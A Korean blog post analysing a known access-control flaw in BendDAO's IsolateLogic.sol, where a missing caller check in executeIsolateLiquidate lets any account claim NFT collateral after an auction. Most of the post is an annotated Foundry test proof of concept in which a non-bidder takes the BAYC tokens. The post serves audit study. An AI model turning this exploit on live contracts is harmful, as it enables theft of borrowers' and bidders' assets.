카테고리 없음
[1-day] BendDAO - Access Control
Tyojong
2025. 11. 5. 18:56
코드 분석
2024-07-benddao/src/libraries/logic/IsolateLogic.sol at 117ef61967d4b318fc65170061c9577e674fffa1 · code-423n4/2024-07-benddao
Contribute to code-423n4/2024-07-benddao development by creating an account on GitHub.
github.com
IsolateLogic.sol은 BendDAO에서 NFT 담보 대출과 경매/청산 로직을 담당하는 핵심 모듈이다.

정상적인 흐름이라면 경매 입찰자에게만 해당 담보가 가야하지만 executeIsolateLiquidate함수에 msg.sender에 대한 검증이 존재하지 않아 경매에서 실제로 입찰하지 않은 아무나 경매 종료 후 NFT 담보를 가져갈 수 있게된다.

params.msgSender에 경매 승리자가 아니더라도 아무 계정이나 들어갈 수 있다.
익스플로잇
//test/integration/TestIntIsolateLiquidate.t.sol
...
function test_Anyone_Can_LiquidateWETH() public {
TestCaseLocalVars memory testVars;
// toDepositor1 테스트 계정에 WETH를 민트/승인해서 공용 대출풀에 유동성을 공급하도록 준비
prepareWETH(tsDepositor1);
// tsBorrower1가 보유한 BAYC 토큰들을 Isolated 모드 풀에 담보로 올려놓도록 세팅
uint256[] memory tokenIds = prepareIsolateBAYC(tsBorrower1);
// toBorrower1가 담보(BAYC)를 잡고 WETH를 빌림
// 이 시점부터 tsBorrower1의 포지션은 채무 상태이며 시간이 흐르면 이자가 붙음
prepareBorrow(tsBorrower1, address(tsBAYC), tokenIds, address(tsWETH));
// 블록 타임을 1년 전진시켜서 이자를 충분히 쌓음
advanceTimes(365 days);
// 가격 피드에서 BAYC 가격을 의도적으로 설정 (경매/청산 조건을 맞추기 위한 단계)
actionSetNftPrice(address(tsBAYC), 5000);
// tsLiquidator1가 경매를 시작하거나 최고가 입찰자가 되도록 셋업
// 정상 로직이라면 경매에 입찰한 사람만 경매 종료 후 NFT를 넘겨 받을 자격이 생겨야 함
prepareAuction(tsLiquidator1, address(tsBAYC), tokenIds, address(tsWETH));
// 블록 타임을 25시간 전진 (경매 기간이 끝나 청산/수령 가능한 상태로 만듦)
advanceTimes(25 hours);
// 각 NFT에 대해 청산할 금액을 담는 배열
uint256[] memory liquidateAmounts = new uint256[](tokenIds.length);
// 경매 종료 직전의 각 담보 NFT에 대한 대출/입찰 관련 데이터 스냅샷
testVars.loanDataBefore = getIsolateLoanData(tsCommonPoolId, address(tsBAYC), tokenIds);
// 스냅샷 값들을 합산해서 전체 포지션 단위로 전/후 비교에 활용하려는 코드.
for (uint256 i = 0; i < tokenIds.length; i++) {
testVars.totalBidAmount += testVars.loanDataBefore[i].bidAmount;
testVars.totalBidFine += testVars.loanDataBefore[i].bidFine;
testVars.totalRedeemAmount += testVars.loanDataBefore[i].redeemAmount;
testVars.totalBorrowAmount += testVars.loanDataBefore[i].borrowAmount;
}
// 풀 WETH 잔고, 입찰자(tsLiquidator1)의 WETH 잔고, 차입자(tsBorrower1)의 WETH 잔고를 저장
testVars.poolBalanceBefore = tsWETH.balanceOf(address(tsPoolManager));
testVars.walletBalanceBefore1 = tsWETH.balanceOf(address(tsLiquidator1));
testVars.walletBalanceBefore2 = tsWETH.balanceOf(address(tsBorrower1));
testVars.erc721BalanceBefore1 = tsBAYC.balanceOf(address(tsLiquidator1));
// 입찰자가 아닌 tsBorrower2가 isolateLiquidate() 호출해 NFT를 가져갈 수 있음
tsBorrower2.isolateLiquidate(tsCommonPoolId, address(tsBAYC), tokenIds, address(tsWETH), liquidateAmounts, false);
testVars.erc721BalanceAfter1 = tsBAYC.balanceOf(address(tsBorrower2));
assertEq(
testVars.erc721BalanceAfter1,
(testVars.erc721BalanceBefore1 + tokenIds.length),
'tsLiquidator1 bayc balance'
);
}
...
위 익스플로잇 코드를 기존에 존재하는 test/integration/TestIntIsolateLiquidate.t.sol 코드에 붙여넣은 후 실행시키면

정상적으로 pass된 것을 확인 할 수 있다.